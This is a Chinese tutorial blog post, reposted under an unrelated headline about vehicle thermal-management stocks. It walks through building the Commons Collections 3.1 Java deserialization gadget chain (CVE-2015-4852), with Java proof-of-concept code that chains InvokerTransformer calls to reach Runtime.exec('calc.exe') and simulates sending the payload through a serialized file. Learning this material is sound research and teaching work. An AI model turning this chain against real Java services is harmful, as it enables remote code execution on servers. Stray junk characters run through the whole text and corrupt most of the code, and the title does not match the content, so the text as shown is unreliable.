新能源车热管理系统价格涨200% 飞龙股份前瞻布局

以下文章来源于雷神众测 ,作者lala

No.1声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No5 c : Y I Y l A 4.2 ` . ; / D m前言

这是个人学习java反序列化的第一篇利用链的文章,就好像P牛说的不知道为什么网上讲到java反序列化学习,上来就是cc链,你知道这个链它有多复杂么.jpg。萌新也是理所当然的踩m & & Q了这个坑,然后…..在一路质疑自己智商和\"我不服\"的情况下趟了过去。

路难行,难行,总归要走。

走来,回望去,呵,牛逼。

在此文# N - - $中是以一个只了解java反射机制和反序列化利用点(readObject)的视角去一点点复现推导了commons-collectio~ k s 8ns、jdk1.7的poc的构造。

同时记录下了一个个踩的坑,再爬出来,再跳进去,W + E A | 4 z ,再爬出来W 9 k ! W X = @的历Q 9 i | C程。

如果你具备了反射机制和反序列化基本原理的知识,同时想学习cc链的话,个人感觉是这篇文是5 - c 0 , ~ b再适合不过了。

那么开始。

了解反射机制的话,我们会发现若存O E = G在一个固有的反射机制时,X * N Y B E s G输入可控,就可能形S : q r N n成任意函数调用的情况,具有极大的危R s C害。但实际上真的有存在这s c S Q k M Y E种情况:这就是commons-collections-3.1 jar包,cve编号:cve-2015-4852

在开始之前我们需要理一下反序列化! j + R E C | O A漏洞的攻击流程:

  1. 客户端构造pay# S L p ` 7 C J 4load(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
  2. exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化N E r a ^ o X e q恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去H N e第一层)
  3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变: n ^ T ; R形、解析)我们exp_1变成exp_2、exp_3……
  4. 最后在一个可执行C $ N u 0 7 {任意命令的函数中执行最后的payload,完成远程代码执行。

那么以上大概可以分. 0 G R } 6 ~ 4 4成三个主要部分:

  1. payl, Y L s ) , / 9 $oad:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;我把它称为:payloY l vad
  2. 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的e} G 2 2xp,最后执行payload。(在此篇中就是commons-collections利用~ b 链)/ R f
  3. readObject复写利用点:服务端中存在的可以与我们漏洞链相接t D _ Z ! I的并且可以从外部访问的readObject函数复写点;我把它称为read- h D f DObject复写利用点(自i } @ 0 M , P l创名称…)

No.3commons-collections-3.1

首先来看看commons-collections项目吧官网第一段:

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已? G ! } ( Z w a ]经成为Java中公认的集合处理标} T q 准。

Apache! ] , K Commons Co= % ~llections是一个扩展了Java标准库里A W ? * 5 b j ]的Collection结构f l ?的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection
  • 转化装饰器:修改每一个添加到collection中的object

Commons CollecN u s ! Utions实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素J ) r * 9进行特定的修0 3 Q D L E饰变换,具体的变换逻辑由Transformer类定义,TransfG d 8ormer在TransformedMap实例化时作为参数传入。org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

漏洞复现需要下载3.1版本,进去寻觅一下源码和jar包都有。

由于没有找到漏洞版本3.1的api说明,我们可以参考3.2.2的api文档% z u

No.4POC->利用链

我们将通过调试POC得到漏洞利用链的调用栈,顺便介绍一下各个类,再通7 B f c Q过分析调用栈的函数,s w c ? - g R反推出POC来探究其中的利用原理。

我们先看一下网上的POC代码,如下:

import org.apache.commons.collections.*;import org.apache.commons.collections.funH 1 Rct) : Z 5 ! m jors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apA X P ` ~ache.commons.collections.functors.I? 1 } 6 T CnvokerTransformer;import org.apache.commons.collections.map.J S FTransformedMap;importu O ; l java.util.HashMap;import java.util.Map;public class commons_collections_3_1 { public sta * 7 A =tic void main( V R ? PString args) thr- b R v R 4 y C 6ows Exception { //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码TrJ 2 Tansformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransf] M l l ~ y F ; Mormer(\"getMetho? B 5 $ ; edK f 1 .\", new Class {String.class, Class./ [clas` f & rs }, new Object {\"getRuntime\", new Class[0] }), new In6 ( m z B q T KvokerTransformeq T . @ d c : Rr(\"inv D + Ioke\", new Class {Object.class, Object.class }, new Object {null, new Object[0] }), new InvokerTra0 8 %nsformer(\"exec\", new Class {String.class }, new ObjectX t W {\"calc.exe\"})}; //将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new Ct G m GhainedTransformer(transformers); //创建Map并绑定transformerChinaMap innerMap = new HashMap;innerMap.put(\"value\", \"value= X Q\"); //给予mp x 5 F ) aap数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, t# 5 2 $ H ~ : u IransformerChain); //触发漏洞Map.Entry onlyElement = (Map.Entry) outerMap1 h # h %.entrySet.iterator.next; //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.a m @ T yEntry形式,这是map的键值对数据格式onlyElement.setValue(\"foobar\");}}

好好看代码的同学肯定会意识到,以上的pon E $ Z &c其实只包括我总结三要素的py K ( u D B e N ^ayload和反序列化利用链两者。而关键的readObject复写利用点没有包含在内。事实确实如此。这个poc的复写利用点B l E W t F I *是sun.reflect.annotation.AnnotationInvocationHandler的readOb4 Q .ject,但是我们先精简代码关注p ` 6 4 H F 9ayload和利用链,最后再加上readObject复写点。

调试以上POC,得到两种调用栈:

漏洞链

Map.Entry其实就是键值对的数据格式X F s,其setValue函数如下AbstracInputCheckedMapDecorator.class

public Object setValue(Object value) {va+ D _ J 9lue = this.parent.checkSetValue(value);//进入此处return super.entry.set* e @ uValue(value);}

TransformedMap是一种重写map类型的set函数和Map.Entry类型的setValue函数去调用转换链的Map类型。TransformedMap.clag 8 6 i H * % l ~ss

protecteQ T { 4 j ed Object checkSetVaI Q E d {lue(Object value) { return this.valueTransformer.ty E ~ Hransform(value);//进入此处}

由于TransformedMap具有commons_collections的转变特性,当赋值一个键值对的时候会自动对输入值进行预设的Transformer的调用X ? ~ t J j B B _

ChainedTransformer.class:这里有一个

public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { //循环q Y ~ Q R 进入此6 A w m @ {处,先进入1次ConstantTransformer.class,再3次InvokerTransformer.classobject = this.iTransformers[i].transform(ot 0 % v ibject); //另外需要注意在数组的循环中,前一次transform函数的m 3 K U k K返回值,会作为下一次transform函数的object参数输入。} return object;}

transform函数是一个接口函数,在上 J V [ K - t p面的循环中进入了不同的函数。先是1次ConstantTransformer.class

public Object transform(Object inp^ { C ~ _ut) { reY % R : gturn this.iConstant;}

再是进k w ! z {入了InvokerTransformer.class,看到这个就会发现有S { G r z点东西了。

public Object transform(Object input)$ j h q { if (input == null) { return null;} else { try { //获取input对象的classClass cls = input.getClass; //根据iMethodName、iParamTypes选择clsP _ 4 l m 9 8 O 5中的一个方法Method method = cls.getMethod(this.iMethodName, this.iParamTypes);c j M l [ } //根据iArgs参数调用这个方法return method.invo & y Q X _ ] h ,ke(i0 S $ b +nput, this.iArgs);} catch (NoSuchMethodException var5) { throw new FunctorException(\"InvokerTransformer: The method \'\" + this.iMethodName + \"\' on \'\" + inpu] 3 8 Nt.getClass + \"\' does n6 v s ~ Z p P ot exist\");} catch (IllegalAccessException var6) { throw new FunctorException(\"InvokerTransformer: The method \'\" + this.iMethodName + \"\~ + : s $ z ' on \'\" + input.getClass + \"\' cannot be accessed\");} catch (Inq x a p P & F pvocati O _ 0 wonTargetException var7) { throw new FunctorException(\"InvokerTransformer: The method \'\" + this.iMethodNam6 I 4 ~e + \) d z 5 u ; B"\' on \'\"T Y / : E m | : + input.getClass + \"e p C [ L r K A\' threw an exception\", var7);}}}}

明显的反射机制,可见InvokerTrx @ X g , { y # dansformer就是我们的触发任意z $ w K代码执行处,我们看看源码中的文件描述:先看看我们需要关注的InvokerTransformer类的描述(在jar包中是找不到描述信息的,可以通过下载官方源码得到):

/*** Transformer implementation that creates a new object instance by reflection.*通过反射机制创建一个新的对象实例的转换器实现

我们可以这里有经典的反射机制调用,在细节分析前我们先整理一下调用栈,但b ; / ^ k 0 P Y J不需要很理解。

Map.Entry 类型setValue(\"foobar\")=> AbstracInputChecS } vkedMapDecorator.setValue=> TransformedMap.checkSetValue=> ChainedTransformer.tran W 9 ) T sform(Object object)根据数组,先进入 => ConstantTransformer.transform(Object input)再进入 => Invok6 ? T P werTransformer.transform(Object input)

No.5重构POC

首先明确我们的最终目{ H u $ @ 的是为了执行语句Runtime.getRuntime.exec(\"calc.exe\");

  • Runtime.getRuntime:获取一个Runtime的实例
  • exec:调用实例的exec函数

因为漏洞函数最后是通过反射机制调用任意这个语句先转化成反射机制如下(后面需要用到):m I $ @ } q

至于如何构造反射机制的语句,参考往期文章javaa h x l j反射机制

Class.forName(\d T P r j B L"java.lang.Runtime\").getMethod(\"exec\", Striw p R ^ Ong.class).invoke(Class.forName(\"java.lang.Runtim; 8 # T z Ve\").getMethod(\"getRuntime\").iZ W { Xnvoke(Class.forName(\"java.lang.Runtime\"))//此处在获取实例,\"calc.exev J N X 3 4\")

第一步 InvokerTransformer

再回看反射机制触发函数InvokerTransformer类的transform(Object input)(做了简化处理,只留取重点部分):

public Object transform(Object input) {Class cls = input.getClass;Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);

通过构造的反射机制以及以g 7 _ % i }上代码进行填f W空,可以得出当变量等于以下值时,可形成命令执行:

Object input=Class.forName(\"java.lang.I ( + = s ^ % {Runtime\").getMethod(\"getRuntime\").invoke(Clas| C K ; 7 G I 6s.forName(\"java.lang.Runtime\"));this z f 9.iMethodName=\"exec\"this.iParamTypes=String.classthis.iArgs=\"calc.exe\"

那么在InvokerTransformer类源码中我们可G i ] c J } R _ #以找到赋) 5 j m $ 6 C N值this.iMethodName,this.iZ M m P nParamTypes,this.iArgs的构造函数:

public InvokerTransformer(String methodName, Class parn 3 7amTypes, Object args) { this.iMethodName = methodNN u ) 4 D f ^ } ?ame; this.iParamTy% [ / O z G ] ~ epes = paramTypes; this.iArgs = args;}

我们就可` ; X m以构建以下测试代码直接调用InvokerTransformer通过反射执行任意命令:下面开始试一下:

public static void mainD 9 o }(String args) throws Excepti; @ s # l B ion { //通过构造函数,输入对应格式的参数,对iMethodName、i{ E Q 3ParamTypes、iArgs进行赋值InvokerTransformer a = new InvokerTransformer( \"exec\", new Class{String.class}, new String{\"calc.exec t B o w\"}); //构造inputObject input=C` n W k Olass.fC 9 c & J 7 b iorName(\"java.lang.Runtimek C o\").getMethod(\"getRuntime\").invoke(Class.forName(\"V U - k 5 bjava.lang.Runtime\")); //执行a.transform(input);}

JAVA反序列化 - commons-collections - 1

在第二步之前

t O l 8 S @ (出了计算器!好像很厉害的样子!N P _ C ? 9 & W然后我们来! t , f r模拟一下利用场景:

  • 为了方便,攻击者受害者写在同一函数中
  • 使用文件写入,代替网络传输

由于InvokerTransformer继承了Serializable类,是可以成功序列化的

public- ` ; } A static void main(String args) throws Exception { //模拟攻击//1.客户端构造序列化payload,使用写入文件模拟, d O m .发包攻击InvokerTU ( i ` j ? n & gransformer a = new I! ` i )nvokerT* H q S aransformer( \"exec\", new Class{Str- b i ,ingw } _ p P l v.class}, new String{\"calc.exe\"` : @});FileOutputStream f = new FileOutputStre$ o Yam(\"payloar @ s r K z p #d.bin\");ObjectOutputStream fout = new Objt r E m a 7ectOutputStream(f);fout.writeObject(; C 2 # ea); //2.服务端从文件中读取payload模拟接受包,然后触发漏洞//服务端反序列化payload读取FileInputStrl @ m . P r f qeam fi = new FileInputStream(\"payload.bin\");ObjectInputStream fin = new ObjectInputStream(fi); //神奇第一处:服务端需要w d W s = i e n自主构造恶意inputObject input=Class.forName(\O 5 4 ."java.lang.Runtime\").getMethod(\"getRuntime\").invoke(Class.forName(\"java.lang.Runtime\")); //神奇第二处:服务端需要将客户端输入反序列化成InvokerTransformer格式,并在服务端自主传入恶意参数inputInvokerTransformer a_in = (InvokerTransforj } . K J [mer)7 Q Y a fin.readObject;a_in.transform(input);}

我们会发现如果我们要直接利用这个反射机制作为漏洞的话,需要服务端的开发人员:

  1. 帮我们写一个payload作为input;
  2. 接受客户端输入参数,反序列化成InvokerTransfQ m X 9 s a e K =ormer类
  3. 再刻意调用InvokerTransformer类的trat V R #nsform函数

实际上…..只有开发人O t 7 t (员是自己人的情况下才满足条件吧……所以我们面临一些问题:

  1. payload肯定* d A ; ! | ) h n需要在客户端可以自定义构造,再传输进入服务端
  2. 服务端需要把我们的输入exp反序列化成一个在代码中可能使用到的类
  3. 并且在代码正_ W V R常操作中会调用这个类中的一个可触发漏洞地函数(j 4 r : = t 3当然这个函数最后会进入我们InvokerTransformer{ J W [类的transform函数,从而形成命令执行~ } .
  4. 如果这个反序列化的类和这个类触发命令执行的方法可以在一个readObject复写函数中恰好触发,就对于服务端上下文~ Z k s Y X V语句没有要求了!

这边假如像预期这样,是对服务端上下文5 ~ } 3 H a没有要求,因为只要执行r@ l 3 ^ U l 5 @ deadObject就肯定会命令执行,不需要其他上下文条件。

但是对于服! ~ ; l ]务端版本环境是有要求的,之后会说到

那么我们一个个来解决问题:首先使客户端自定义paylaod!

第二步 ChainedTransformer

下面我们需要关注ChainedTr7 % % iansformer这个类,首先j & -看一下这个类的描述:

/*** TransformeN ; ) r implementation that chains the specified transform) ; ; e :ers together.* <p>* The input object is passed to the first transformer. The transformed result* is passed to the second transformer and so on.*将指定的转换器连接在一起的/ = W J a转化器实现。输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

可以知道他会把我们的Trh ] 8 : A Jansformer变成一个串,再逐一执行,其中这个操作对应的就是ChainedTransformer类的transform函U c ,

/*** Transforms the input to resN | _ % i . s J ,ult via each decorated transformer** @param objecO r U xt the input object passed to the first transformer* @return t. ] e ~ | {he transformedY ! a G ; p s rO p 9 0 ZesY G 9 / M ` pult*/public Object transform(Object object) { for (int i = 0; i < iTransformers.l| k p + Yength; i++) {object = iTransformea 3 b Rrs[i].transform(object);} return object;}

这里会遍历iTransfo1 6 ^ / 7rmers数组,依次调用这个数组中每一个Transformer的transfq ] } G ~ 6 u y |orm,并串行传递执行结果。

首先确定iTransformers可控,iTransformers数组是通过ChainedTransformer类的构造: L p 7 N Y % 1函数赋值的:q J T Q C 8 D

/*| | @ G b g** Constructor that performs no validation.* Use <code>getInstance</code> if yN T I b # R T [ou want that.** @p* T J I * $aram transfoa R H M Grmers the transformers to chain, not copied, no nulls*/pu= # y qbliv y } s p T Oc ChainedTransformer(Transformer transformers) { superD * K P S v ` k;//这个super不清楚做了啥,iTransformers = transformers;}

那么我们知道可以自定义iTransformersd u a 7的内容,我们已有条件如下:

//最终执行目标Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(Class.forName(\"java.lang.Runtime\"))//此处在获取实例, \"calc.exe\"} p ) W t) //InvokeTransformer关键语句:public Object transform(Object input) {Class cls = input.getCl) h S x ? = iass;MeZ r F i 5 m Zthod method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);}

d U ! , 0 ~ A看到Invokez [ ) z k K e QTransformer代码我们需要引出一个注意点:

这里我们需要注意到input.gn # U v IetClass这Y z ! r ; P P g E个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当inp| ? P * 5 u A Hut是一个类时,获取到的是java.lang.P | = !Class

可以使用如下代码验证,这里不再赘述

Object a = Runtime.getRuntimeq { 7 ) = 6 =;Class b = R* x h U X ] + Huntime.class;System.out.println(a.getClass);System.out.prp 3 H ,intln(b.getClass); /` ` . f Y [/结果//class java.lang.Runtime//class java.lang.Class

基于之前写的代码:

//只调用InvokeTransformer的情况如下:InvokerTransformer a = new InvA ) 9 / F o 0okerTran6 : X Psfor$ ? /mer( \"exec\", new Class{String.class}, new String{\"calc.exe\"});Object input=Class.forName(\"java.lang.R4 0 h ?untime\").getMethob O Kd(\d t i G F g ` 9"getRuntime\").invoke(Class.forName(\"java.lang.Runtime\"));

我们也可以知道input的为Runtime类的对象,所0 q 5 W L R W l以cls就是Runtime类,所以cls.getMeV B tthod可以找到ex3 K I C W c #ec方法,直接进行K - [调用。

先把a封装成Chy k K { % g G BainedTransformer格式,但是payload还是, s ^在外面

//客户端构造payloadTransformer transformers = new Transformer { new InvokerTrQ o d [ d ] #ansformer(\"exec\v I Q } R",new Class{G ( w u JString.class},new String{\"calc.exe\"});}Transformer transformerChain = new ChainedTransformer(transformers); //服务端触发所需内容Object input=Class.forName(\"java.lang.Runtime\").getMethod(\"getR] b s i z { Quntime\").invoke(Class.forName(\"java.langl h ; I r.Runtime\"));tranw ] 0 R d G B X psformerChaR ) e 0 9 xin.transform(input);//此处必须为input,作为第一个输入

把payload放入Transformer数组中,需要转化成特定的Transfoz / y d I :rmer格式才行。

第二点五步 ConstantTransformer -> Runtime实例序列化

我们找到C5 : b z ConstantTransformer类跟InvokkerTransformer一样继承Transforme父类,可以进入数组顾名思义ConstantTrans[ Z { ; - ! hformer类其实就只会存放一个常量;它的构造函数会写入这个变量,他的transform函数会返回这个变量。把Runtime0 W 9 t y +实例写入这个变量:

Transformer transformers = new Transformer { //以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例// nc w _ 0ew ConstantTransformer(Class.forName(\"jo y hava.lang.Runtime\").getMethod(\"getRuntime\").invoke(Class.forNaI E ! . 4me(\"j} & *ava.lang.RunJ Q @ M ttime\"))),new ConstantTransfK @ Rormer. @ 8 V q ] - D K(Runtime.getRuntime), new IE Z M WnvokerTransformer(\"exec\", new Class {Strin ] m g X P l ` }g.class }, new Object {\"calc.exe\"}I h & u I)};Transformer transformerChain = new ChainedTransformer(transformers);transformerChain.8 f x # C Wtransform(nulls 4 Z);//此处输入可以为任意值,因8 # l i u - 6 4为不会被使用到,相当于初始第一个输` { | 4入为我们设置的常量

以上代码可以成功弹框执行!那么我们模拟一下序列化与反序列化过程!

//客户端构造payloadTransfr I 8 S B m I , 0ormerP . W K M e c ( B transformers = new Transformer { new C( j g ( S X # P ^onstantTu $ n M : m : k 5ransformer(Class.forName(\"w n Hjava.lang.Runtime\").getMethoI d pd(\"getRuntime\").invoke@ K } & u 4 z(Class.forName(i j 3 6 !\"java.lang.Runtime\"A { u K m G B = ,))), new InvokerTransformer(\"exec\", new Class {String.class }, new Object {\"calc.exe\"})};Transformer transformerChain = new Chai_ 9 { * G V `nedTransformer(transi q 9 S 9 3 y Wformers); //payload序列化写入文件,模拟? Y O ] 5 A网络传输FileOutputStream f = new FileOutputStream(\"payload.bin\");ObjectOutputStream fout = new ObjectOutputStream(fm U } = y);fout.writeObject(transformer{ s Z U j c ] U %CF $ 1 I XhaiC j X dn); //服务端反序列化paylC T R Joad读取FileInputStream fi = n0 ? - - / sew FileInputStream(\"payload.bin\");ObjectIg ) f _ : ,nputStream fin = new ObjectInputStream(fi); /G h , | ; e/服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数inputTransformer tranz a / AsformerChain_now = (Ch. O % _ SainedTraZ N l R Hnsformer) fin.readObje* = Q i e d b _ zct;transformerChain_now.transform(null);

但是很遗憾的告诉以为快要成功的你,成功的本地测3 ` f t试加上序列化、反序列化过程之后就会失败。因为Runtime类的定义没有继承Serializable类,所以是不支持反序列化的。

JAVA反序列化 - commons-collections - 1

那么我们在payload写入Runtime实例的计划就泡汤了。

第二点八步 在服务端生成Runtime实例

既然我们没法在客户端序列化写入Runtime的实例,那就让服务端执行我们的命令生成一个Runtime实例呗?我们知道Runtime的实例是通过Runtime.getRuntiO | K i f .me来获取的,而InvokerTrans9 ; 8 a I cformer里面的反射机制可以w a %执行任意函数。同时,我们已经成功执行过Runt: l Rime类里= r & Q面的eD ! &xeE L 7 ; / &c函数。讲道理肯定是没问题的.

我们先看getRuntiime方法的参数

public static, u a f x 4 Runtime getRuntime { retx @ { L k O 5urn currentRuntime;}

没有参8 = ]数,那就非常简单了

Transformer transformers = new TranO n k B = Z 3 zsfoo H X f ~rmer { new ConstantTransformer(Runtime.class),//得到Runtime class//由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样//上面传( P E % 3入RE U G a c b [ i ;untime.class,调用Runtime class的getRuntime方法(由于是一个静态= K u z ` }方法,invoke调用静态方法,传入类即可)new InvokerTransfor^ $ Z d , gmer(\"getRuntime\",new Cla} z U @ - ~ C o Lss{},new Object{}), //上面Runtime.getRuntime得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例)new InvokerT3 [ +ransformer(\"exec\",s ` 6 w ~ c new Class {String.clk 5 [ = d $ e L Lass }, new Object {\O G X Z i"calc.exe\"})};Transformer transformerChain =l h N new ChainedTransformer(tra k 6 % w / s R Hansformers);transformerChain.transform(null);

在这里,之前自己陷入了一个很傻逼的问题,即:In5 ! SvokerTranQ M p :sformer类transform方法中return method.invokZ b % M 6 0 ^ y Fe这个语句invoke调用到底return了啥?因为在这里形成了一个调用return的结果U ` i _ - T C (,再调用的链。为什么就可以上一个输出作为下一个输入时,可以成功调用了呢?一开始以为invoke会统一返回一个对象作为下一个输入什么的,并且在调试的时候每次invokeR ! j n v c n j 7的结果都不一样,源码看的头晕。实际上是钻了死胡同:invO q k Z ^ xoke的return是根据被调用的函数rr x 6 u Q :eturn啥,invoke就return啥。Y ! f 6 t E $就好比我invoke一个我自定义的方法a,在a中,我return了字符串\"1\"。s c 5 b U那么就是invoke的结果就是字符串\"q | / Q 6 K1\"。看以上的过程+ @ C ,就是第一次Runtime.getRuntiml ^ u 2 _e的结果输入了下一个InvokerTransformeA ~ [ d Y s c 1 or

以上感觉是万事大吉了!但是实际上并不是…

回想之前对于* f iInvokerTransfe 5 m - * oJ c c s ` + 6rmer中Class clsg F O ^ } x A h = input.getClass;的解释

  • 这里我们需要注意到input.getClass这个方法使用上的一些区别:
  • 当input是一个类的实例对象时,获取到的是这个类

当input是一个类时,获取到的是java` S [ j ~ H ( D.lang.Class

我们来推演第一次Invoke+ n w W u e 5 .rTransformer的反射调用,即得到Runtime类对象的getRuntime方法调用:

//InvokeTransformer关键语句:public Object tranT k w msform(Object input) {//input为我们设置的常量Runtime.classClass cls = input.geT y d j W 7 m btClass;//b M K r!!!这里由于input是一个类,会得到java.lang.Class/T z c ( M K e }/在java.lang.Class类D . * ] * 4 * Q中去寻找getRuntime方法企图得到Runtime类对象,此处报错!V X = e M !!Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);}

那么我们好像陷入了一个死胡同:得到Runtime类实例才能调用exec方法。而得& @ C n 1 I 9到Runtime类实例作为input,才能得到Runtime class,才能找到getRuntime方法,得到Runt7 T L [ 3 # ) e :ime类实例………

…………………非常的尴尬………………….= - / } 2 [ @ c ~.

第二点九步 还是反射机制

那么我们通过直接调用Runtime.geL } V R J ctRuntime方法好像是行不通了,有没有其他方法呢?

还是反射机制

已知:

  1. 我们开头不能获得Class.forName(\"java.lang.Runtime\"),只能得到Class.forName(\"ja ] M ^ o O i @ Iva.lang.Class\")
  2. 我们可以有任意的反射机制求:
  3. 我们要获取到Runtime.$ e Y . x CgetRunime函d ~ N数,并执行它。解:
  4. 通过反= M Vq , m G ` ( {机制获取反射机制中的getMethod类,由于getMethod类是存在Class类d l U g p F ?中,就符合开U y S G 1 , !头Class类的限制
  5. 通过getR ^ , A )Method函数获取Runtime类中的getRuntime函数
  6. 在哪个类中调d / o E { b用getMethod去获取方法,实际上是由invoF + M : / * U Eke函数里面的的第一个参数obj决定的
  7. 再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数
  8. invoke调用getRuntime函数,获取RuntimeY ] j w ? S W J x类的实例这里在使用反射机制调用getRuntime静态类时,invoke里面第一个/ 0 n r _参数obj其实可以任意改为null,: - ,或者其他类,而不一定要是Runtime类

具体变化细节,我选择把它放在反射机制一文中说明,这边给出结果。

我们的最终目的是执行Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(Class.forName(\"java.lang.Runtime\"g @ a y)

先来获取getRuntime类

//目标语句Class.X D ? 6 E ZforName(\"java.lang.Ruf C / s 0 I 7 ^ntime\").getMe| b b A @thod(\; V 8"getRuntime@ v 7 8 Y v\")//使用java.lang.Class开头Class.f2 m Q o + I h { ,orName(\"java.lang.Class\").getMethod(\"getMethod\", new Class {Strik B / ^ng.class, Class.class }).i6 E T + y l / Znvoke(Class.forName(\"java.lang.Runtime\"),\"getRuntime\",new Class[0]); //invoke函数的第一n s 3个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数

对照着InvokerTransformer类转变为transforP A h d | =mers格式

Class cls = input.getClass;//cls = java.lang.ClassMethod method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法return method.invoke(input, this.iArgs); /P , @ D $/在Runtime中找geg e f .tRuntime方法,并返回这个方法

Tray P w 2nsformer tH b 8 % %ransformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformerX Q 7 . p b(\"getMethod\", new Class {String.class, Class.class }, new Object {\"getRuntime\", new Class[0] }), //还需要填充 调用g7 m P _ NetRuntime得到Runtime实例,new InvokerTransfu 9 k X +ormer(\"exO * t @ v &ec\", new Class {String.class }, new Of g h 4 / E 3 *bj: + P D 8 . aect {\"calc.exe\"})};

$ $ ~ l % L 4差执行获取到的getRuntime,下一个input是上一个执行接口,继续对照

//input=getRuntime这个方法Class cls = input.getClass;//cls = java.lang.Method(getRuntime方法是method类)Method method =# ( m cls.getMethod(c ` . Mthis.iMethodName, this.iParamTy{ 3 e l _ K 6 _pes); //在method类中找到invoke方法,method=invoke方法return method.inP . ! z B Z U i tvw G l H o R ]oke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

以上最后一步有点复杂p O $ E L,method就是invoke方法,相当于使用invoke调用了invoke函数。首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:

public Object invoke(Object obj, Object...B u / args)//this.iMethodName=\"invoke\"//this.iParamTypes=new Class {Object.class, Object.class }//外面class、Object封装是InvokerTransformeB j Mr类的构造函数要求

按照invoke中的input才) , 7 x _ K (是它要调用的环境的准则。invoke方法.invoke(input, this.iArgs)实际上等于J @ z d C cinput.invoke(this.iArgs),而input=getRuntime方法,那么只要填入this.iArgs就好了

又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRr O ! X g 7 u .untime方法不需要参数。this.iArgs=null,new Object[0]

那么整合就如下:

Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new In; & x fvokerTransformer(\"getMethod\", new Class {String.class, Class.class }, new Object {\"getRuntime\", new Class[0] }), new InvokerTransformer(\"invoke\d $ I u | H l * ;", new Class {Object.class, Obje= { # ? # d w w rct.class }, new Object {null, new Ob( V O w |ject[0] }), new InvokerTransformer(f A u 3 ^\"exec\", new Class {String.class }, new Object {\"calc.exe\"})};

以上代码其实就是等同于((Runtime)Runtime.class.getMethod(\"getMethod\",null).invoke(null,null)).exec(\"calc.exe\");我们笼统的来理解,实际就是如下(这里偷一张orleven的图):

JAVA反序列化 - commons-collections - 1

总体上来说:利用了反射机制调用反射机制的` { 1 P函数,绕过了开头cls只能为java.lang.Class的限制,根据具体环境input环环相扣,特么竟然恰好就通了….非常的微妙….

第三步 TransformedMap

那么我们在第二步通过ConstantTransformer、ChainedTransformer就完J . y成了payload在客户端自定义这一目标,我们看一下目前的攻击流程

public class commons_collections_3_1 { public static void main(String args) throws Exception { //1.U ~ M : 5 5 2客户端构建攻击代码//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class {St= a & e &ring.class, Class.class },l ! n m B 7 ` 4 y new Object {\"getRuntime\", new Class[0] }), new InvokerTransformer(\"invoke\", new Class {Objectk k ^ =.class, Object.class }, new Object {null, new Object[0] }), new Invoke H n c 5 ] ierTransformer(\"exec\", new Classb + g {String.class }, new Object {\"calc.exe\"})}; //将transformers数组存入ChaniedTransformer这个继承类Transf@ _ ] x #ormer transformerChain = new ChainedTransformer(transformers); //payload序列化写入文件,模拟网络传输FileOutputStream f = new FileOutputStream(\"payload.bin\");ObjectOutputStream fout = new ObjectI h R |OutputStream(f);fout.write2 4 U : C n ) +Object(transf/ U ( Y i ! T jormerChain); //2.服@ H z 1务端读取文件,反序列化,模拟网络传输FileInputStream fi = new FileInputStream(\"payload.bin\")d ] j S . F;ObjectInputStream fin = new ObjectInputStream(fi); //服务P X s q L / d e端反序列化成ChainedTransformer格式,再调用tr* u o S V A U r _ansform函数Transformer transformerChain_now = (ChainedTran0 x & ~ 5 1 Usformer) fin.readObject;tran- H $ j X - 5 a nsformerChain_now.transform(null);}}

JAVA反序列化 - commons-collections - 1

